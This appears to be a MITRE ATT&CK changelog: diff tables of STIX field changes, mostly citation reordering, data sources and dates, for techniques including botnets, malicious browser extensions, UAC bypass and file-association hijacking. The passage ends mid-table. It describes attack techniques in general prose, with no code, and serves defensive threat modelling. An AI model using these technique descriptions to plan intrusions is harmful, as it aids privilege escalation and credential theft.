iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
[T1584.005] Compromise Infrastructure: Botnet
Current version: 1.0
|
|
|---|
| t | Adversaries may compromise numerous third-party systems to f | t | Adversaries may compromise numerous third-party systems to f |
| orm a botnet that can be used during targeting. A botnet is | | orm a botnet that can be used during targeting. A botnet is |
| a network of compromised systems that can be instructed to p | | a network of compromised systems that can be instructed to p |
| erform coordinated tasks.(Citation: Norton Botnet) Instead o | | erform coordinated tasks.(Citation: Norton Botnet) Instead o |
| f purchasing/renting a botnet from a booter/stresser service | | f purchasing/renting a botnet from a booter/stresser service |
| (Citation: Imperva DDoS for Hire), adversaries may build the | | , adversaries may build their own botnet by compromising num |
| ir own botnet by compromising numerous third-party systems. | | erous third-party systems.(Citation: Imperva DDoS for Hire) |
| Adversaries may also conduct a takeover of an existing botne | | Adversaries may also conduct a takeover of an existing botne |
| t, such as redirecting bots to adversary-controlled C2 serve | | t, such as redirecting bots to adversary-controlled C2 serve |
| rs.(Citation: Dell Dridex Oct 2015) With a botnet at their d | | rs.(Citation: Dell Dridex Oct 2015) With a botnet at their d |
| isposal, adversaries may perform follow-on activity such as | | isposal, adversaries may perform follow-on activity such as |
| large-scale [Phishing](https://attack.mitre.org/techniques/T | | large-scale [Phishing](https://attack.mitre.org/techniques/T |
| 1566) or Distributed Denial of Service (DDoS). | | 1566) or Distributed Denial of Service (DDoS). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:01:00.271000+00:00 | 2022-04-19 15:55:58.319000+00:00 |
| description | Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). | Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS). |
| external_references[1]['source_name'] | Norton Botnet | Dell Dridex Oct 2015 |
| external_references[1]['description'] | Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020. | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. |
| external_references[1]['url'] | https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation |
| external_references[3]['source_name'] | Dell Dridex Oct 2015 | Norton Botnet |
| external_references[3]['description'] | Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019. | Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020. |
| external_references[3]['url'] | https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation | https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html |
[T1176] Browser Extensions
Current version: 1.2
|
|
|---|
| t | Adversaries may abuse Internet browser extensions to establi | t | Adversaries may abuse Internet browser extensions to establi |
| sh persistent access to victim systems. Browser extensions o | | sh persistent access to victim systems. Browser extensions o |
| r plugins are small programs that can add functionality and | | r plugins are small programs that can add functionality and |
| customize aspects of Internet browsers. They can be installe | | customize aspects of Internet browsers. They can be installe |
| d directly or through a browser's app store and generally ha | | d directly or through a browser's app store and generally ha |
| ve access and permissions to everything that the browser can | | ve access and permissions to everything that the browser can |
| access.(Citation: Wikipedia Browser Extension)(Citation: Ch | | access.(Citation: Wikipedia Browser Extension)(Citation: Ch |
| rome Extensions Definition) Malicious extensions can be ins | | rome Extensions Definition) Malicious extensions can be ins |
| talled into a browser through malicious app store downloads | | talled into a browser through malicious app store downloads |
| masquerading as legitimate extensions, through social engine | | masquerading as legitimate extensions, through social engine |
| ering, or by an adversary that has already compromised a sys | | ering, or by an adversary that has already compromised a sys |
| tem. Security can be limited on browser app stores so it may | | tem. Security can be limited on browser app stores so it may |
| not be difficult for malicious extensions to defeat automat | | not be difficult for malicious extensions to defeat automat |
| ed scanners.(Citation: Malicious Chrome Extension Numbers) D | | ed scanners.(Citation: Malicious Chrome Extension Numbers) D |
| epending on the browser, adversaries may also manipulate an | | epending on the browser, adversaries may also manipulate an |
| extension's update url to install updates from an adversary | | extension's update url to install updates from an adversary |
| controlled server or manipulate the mobile configuration fil | | controlled server or manipulate the mobile configuration fil |
| e to silently install additional extensions. Previous to ma | | e to silently install additional extensions. Previous to ma |
| cOS 11, adversaries could silently install browser extension | | cOS 11, adversaries could silently install browser extension |
| s via the command line using the <code>profiles</code> tool | | s via the command line using the <code>profiles</code> tool |
| to install malicious <code>.mobileconfig</code> files. In ma | | to install malicious <code>.mobileconfig</code> files. In ma |
| cOS 11+, the use of the <code>profiles</code> tool can no lo | | cOS 11+, the use of the <code>profiles</code> tool can no lo |
| nger install configuration profiles, however <code>.mobileco | | nger install configuration profiles, however <code>.mobileco |
| nfig</code> files can be planted and installed with user int | | nfig</code> files can be planted and installed with user int |
| eraction.(Citation: xorrior chrome extensions macOS) Once t | | eraction.(Citation: xorrior chrome extensions macOS) Once t |
| he extension is installed, it can browse to websites in the | | he extension is installed, it can browse to websites in the |
| background,(Citation: Chrome Extension Crypto Miner)(Citatio | | background, steal all information that a user enters into a |
| n: ICEBRG Chrome Extensions) steal all information that a us | | browser (including credentials), and be used as an installer |
| er enters into a browser (including credentials)(Citation: B | | for a RAT for persistence.(Citation: Chrome Extension Crypt |
| anker Google Chrome Extension Steals Creds)(Citation: Catch | | o Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banke |
| All Chrome Extension) and be used as an installer for a RAT | | r Google Chrome Extension Steals Creds)(Citation: Catch All |
| for persistence. There have also been instances of botnets | | Chrome Extension) There have also been instances of botnets |
| using a persistent backdoor through malicious Chrome extensi | | using a persistent backdoor through malicious Chrome extens |
| ons.(Citation: Stantinko Botnet) There have also been simila | | ions.(Citation: Stantinko Botnet) There have also been simil |
| r examples of extensions being used for command & control.(C | | ar examples of extensions being used for command & control.( |
| itation: Chrome Extension C2 Malware) | | Citation: Chrome Extension C2 Malware) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-27 19:56:54.161000+00:00 | 2022-04-20 16:46:36.707000+00:00 |
| description | Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.
Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)
Once the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.
There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware) | Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.
Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)
Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)
There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware) |
| external_references[1]['source_name'] | Wikipedia Browser Extension | Chrome Extension Crypto Miner |
| external_references[1]['description'] | Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018. | Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Browser_extension | https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ |
| external_references[2]['source_name'] | Chrome Extensions Definition | xorrior chrome extensions macOS |
| external_references[2]['description'] | Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017. | Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021. |
| external_references[2]['url'] | https://developer.chrome.com/extensions | https://www.xorrior.com/No-Place-Like-Chrome/ |
| external_references[3]['source_name'] | Malicious Chrome Extension Numbers | Chrome Extensions Definition |
| external_references[3]['description'] | Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017. | Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017. |
| external_references[3]['url'] | https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf | https://developer.chrome.com/extensions |
| external_references[4]['source_name'] | xorrior chrome extensions macOS | ICEBRG Chrome Extensions |
| external_references[4]['description'] | Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021. | De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. |
| external_references[4]['url'] | https://www.xorrior.com/No-Place-Like-Chrome/ | https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses |
| external_references[5]['source_name'] | Chrome Extension Crypto Miner | Malicious Chrome Extension Numbers |
| external_references[5]['description'] | Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. | Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017. |
| external_references[5]['url'] | https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ | https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf |
| external_references[6]['source_name'] | ICEBRG Chrome Extensions | Chrome Extension C2 Malware |
| external_references[6]['description'] | De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. | Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017. |
| external_references[6]['url'] | https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses | https://kjaer.io/extension-malware/ |
| external_references[7]['source_name'] | Banker Google Chrome Extension Steals Creds | Catch All Chrome Extension |
| external_references[7]['description'] | Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. | Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017. |
| external_references[7]['url'] | https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ | https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) |
| external_references[8]['source_name'] | Catch All Chrome Extension | Banker Google Chrome Extension Steals Creds |
| external_references[8]['description'] | Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017. | Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. |
| external_references[8]['url'] | https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) | https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ |
| external_references[10]['source_name'] | Chrome Extension C2 Malware | Wikipedia Browser Extension |
| external_references[10]['description'] | Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017. | Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018. |
| external_references[10]['url'] | https://kjaer.io/extension-malware/ | https://en.wikipedia.org/wiki/Browser_extension |
| x_mitre_data_sources[0] | Command: Command Execution | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[3] | Windows Registry: Windows Registry Key Creation | File: File Creation |
| x_mitre_data_sources[4] | File: File Creation | Process: Process Creation |
[T1185] Browser Session Hijacking
Current version: 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 12:11:16.808000+00:00 | 2022-02-25 18:58:15.229000+00:00 |
| external_references[4]['url'] | https://cobaltstrike.com/downloads/csmanual38.pdf | https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf |
| x_mitre_data_sources[1] | Process: Process Access | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | Logon Session: Logon Session Creation | Process: Process Access |
[T1548.002] Abuse Elevation Control Mechanism: Bypass User Account Control
Current version: 2.0
|
|
|---|
| t | Adversaries may bypass UAC mechanisms to elevate process pri | t | Adversaries may bypass UAC mechanisms to elevate process pri |
| vileges on system. Windows User Account Control (UAC) allows | | vileges on system. Windows User Account Control (UAC) allows |
| a program to elevate its privileges (tracked as integrity l | | a program to elevate its privileges (tracked as integrity l |
| evels ranging from low to high) to perform a task under admi | | evels ranging from low to high) to perform a task under admi |
| nistrator-level permissions, possibly by prompting the user | | nistrator-level permissions, possibly by prompting the user |
| for confirmation. The impact to the user ranges from denying | | for confirmation. The impact to the user ranges from denying |
| the operation under high enforcement to allowing the user t | | the operation under high enforcement to allowing the user t |
| o perform the action if they are in the local administrators | | o perform the action if they are in the local administrators |
| group and click through the prompt or allowing them to ente | | group and click through the prompt or allowing them to ente |
| r an administrator password to complete the action. (Citatio | | r an administrator password to complete the action.(Citation |
| n: TechNet How UAC Works) If the UAC protection level of a | | : TechNet How UAC Works) If the UAC protection level of a c |
| computer is set to anything but the highest level, certain W | | omputer is set to anything but the highest level, certain Wi |
| indows programs can elevate privileges or execute some eleva | | ndows programs can elevate privileges or execute some elevat |
| ted [Component Object Model](https://attack.mitre.org/techni | | ed [Component Object Model](https://attack.mitre.org/techniq |
| ques/T1559/001) objects without prompting the user through t | | ues/T1559/001) objects without prompting the user through th |
| he UAC notification box. (Citation: TechNet Inside UAC) (Cit | | e UAC notification box.(Citation: TechNet Inside UAC)(Citati |
| ation: MSDN COM Elevation) An example of this is use of [Run | | on: MSDN COM Elevation) An example of this is use of [Rundll |
| dll32](https://attack.mitre.org/techniques/T1218/011) to loa | | 32](https://attack.mitre.org/techniques/T1218/011) to load a |
| d a specifically crafted DLL which loads an auto-elevated [C | | specifically crafted DLL which loads an auto-elevated [Comp |
| omponent Object Model](https://attack.mitre.org/techniques/T | | onent Object Model](https://attack.mitre.org/techniques/T155 |
| 1559/001) object and performs a file operation in a protecte | | 9/001) object and performs a file operation in a protected d |
| d directory which would typically require elevated access. M | | irectory which would typically require elevated access. Mali |
| alicious software may also be injected into a trusted proces | | cious software may also be injected into a trusted process t |
| s to gain elevated privileges without prompting a user.(Cita | | o gain elevated privileges without prompting a user.(Citatio |
| tion: Davidson Windows) Many methods have been discovered t | | n: Davidson Windows) Many methods have been discovered to b |
| o bypass UAC. The Github readme page for UACME contains an e | | ypass UAC. The Github readme page for UACME contains an exte |
| xtensive list of methods(Citation: Github UACMe) that have b | | nsive list of methods(Citation: Github UACMe) that have been |
| een discovered and implemented, but may not be a comprehensi | | discovered and implemented, but may not be a comprehensive |
| ve list of bypasses. Additional bypass methods are regularly | | list of bypasses. Additional bypass methods are regularly di |
| discovered and some used in the wild, such as: * <code>eve | | scovered and some used in the wild, such as: * <code>eventv |
| ntvwr.exe</code> can auto-elevate and execute a specified bi | | wr.exe</code> can auto-elevate and execute a specified binar |
| nary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Cit | | y or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citati |
| ation: Fortinet Fareit) Another bypass is possible through | | on: Fortinet Fareit) Another bypass is possible through som |
| some lateral movement techniques if credentials for an accou | | e lateral movement techniques if credentials for an account |
| nt with administrator privileges are known, since UAC is a s | | with administrator privileges are known, since UAC is a sing |
| ingle system security mechanism, and the privilege or integr | | le system security mechanism, and the privilege or integrity |
| ity of a process running on one system will be unknown on re | | of a process running on one system will be unknown on remot |
| mote systems and default to high integrity.(Citation: SANS U | | e systems and default to high integrity.(Citation: SANS UAC |
| AC Bypass) | | Bypass) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-07-22 21:36:52.458000+00:00 | 2022-04-19 15:11:20.036000+00:00 |
| description | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)
If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)
Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:
* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)
Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) |
| external_references[1]['source_name'] | TechNet How UAC Works | Davidson Windows |
| external_references[1]['description'] | Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. | Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works | http://www.pretentiousname.com/misc/win7_uac_whitelist2.html |
| external_references[2]['source_name'] | TechNet Inside UAC | TechNet How UAC Works |
| external_references[2]['description'] | Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016. | Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. |
| external_references[2]['url'] | https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx | https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works |
| external_references[3]['source_name'] | MSDN COM Elevation | SANS UAC Bypass |
| external_references[3]['description'] | Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. | Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016. |
| external_references[3]['url'] | https://msdn.microsoft.com/en-us/library/ms679687.aspx | http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass |
| external_references[4]['source_name'] | Davidson Windows | MSDN COM Elevation |
| external_references[4]['description'] | Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014. | Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. |
| external_references[4]['url'] | http://www.pretentiousname.com/misc/win7_uac_whitelist2.html | https://msdn.microsoft.com/en-us/library/ms679687.aspx |
| external_references[5]['source_name'] | Github UACMe | enigma0x3 Fileless UAC Bypass |
| external_references[5]['description'] | UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. | Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. |
| external_references[5]['url'] | https://github.com/hfiref0x/UACME | https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ |
| external_references[6]['source_name'] | enigma0x3 Fileless UAC Bypass | enigma0x3 sdclt app paths |
| external_references[6]['description'] | Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. | Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. |
| external_references[6]['url'] | https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ | https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ |
| external_references[7]['source_name'] | Fortinet Fareit | enigma0x3 sdclt bypass |
| external_references[7]['description'] | Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. | Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. |
| external_references[7]['url'] | https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware | https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ |
| external_references[8]['source_name'] | SANS UAC Bypass | TechNet Inside UAC |
| external_references[8]['description'] | Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016. | Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016. |
| external_references[8]['url'] | http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass | https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx |
| external_references[9]['source_name'] | enigma0x3 sdclt app paths | Fortinet Fareit |
| external_references[9]['description'] | Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. | Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. |
| external_references[9]['url'] | https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ | https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware |
| external_references[10]['source_name'] | enigma0x3 sdclt bypass | Github UACMe |
| external_references[10]['description'] | Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. | UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. |
| external_references[10]['url'] | https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ | https://github.com/hfiref0x/UACME |
| x_mitre_data_sources[0] | Process: Process Metadata | Command: Command Execution |
| x_mitre_data_sources[1] | Process: Process Creation | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Windows Registry: Windows Registry Key Modification | Process: Process Metadata |
| x_mitre_data_sources[3] | Command: Command Execution | Process: Process Creation |
[T1546.001] Event Triggered Execution: Change Default File Association
Current version: 1.0
|
|
|---|
| t | Adversaries may establish persistence by executing malicious | t | Adversaries may establish persistence by executing malicious |
| content triggered by a file type association. When a file i | | content triggered by a file type association. When a file i |
| s opened, the default program used to open the file (also ca | | s opened, the default program used to open the file (also ca |
| lled the file association or handler) is checked. File assoc | | lled the file association or handler) is checked. File assoc |
| iation selections are stored in the Windows Registry and can | | iation selections are stored in the Windows Registry and can |
| be edited by users, administrators, or programs that have R | | be edited by users, administrators, or programs that have R |
| egistry access (Citation: Microsoft Change Default Programs) | | egistry access or by administrators using the built-in assoc |
| (Citation: Microsoft File Handlers) or by administrators us | | utility.(Citation: Microsoft Change Default Programs)(Citat |
| ing the built-in assoc utility. (Citation: Microsoft Assoc O | | ion: Microsoft File Handlers)(Citation: Microsoft Assoc Oct |
| ct 2017) Applications can modify the file association for a | | 2017) Applications can modify the file association for a giv |
| given file extension to call an arbitrary program when a fil | | en file extension to call an arbitrary program when a file w |
| e with the given extension is opened. System file associati | | ith the given extension is opened. System file associations |
| ons are listed under <code>HKEY_CLASSES_ROOT\.[extension]</c | | are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code |
| ode>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The e | | >, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entr |
| ntries point to a handler for that extension located at <cod | | ies point to a handler for that extension located at <code>H |
| e>HKEY_CLASSES_ROOT\[handler]</code>. The various commands a | | KEY_CLASSES_ROOT\\[handler]</code>. The various commands are |
| re then listed as subkeys underneath the shell key at <code> | | then listed as subkeys underneath the shell key at <code>HK |
| HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. F | | EY_CLASSES_ROOT\\[handler]\shell\\[action]\command</code>. F |
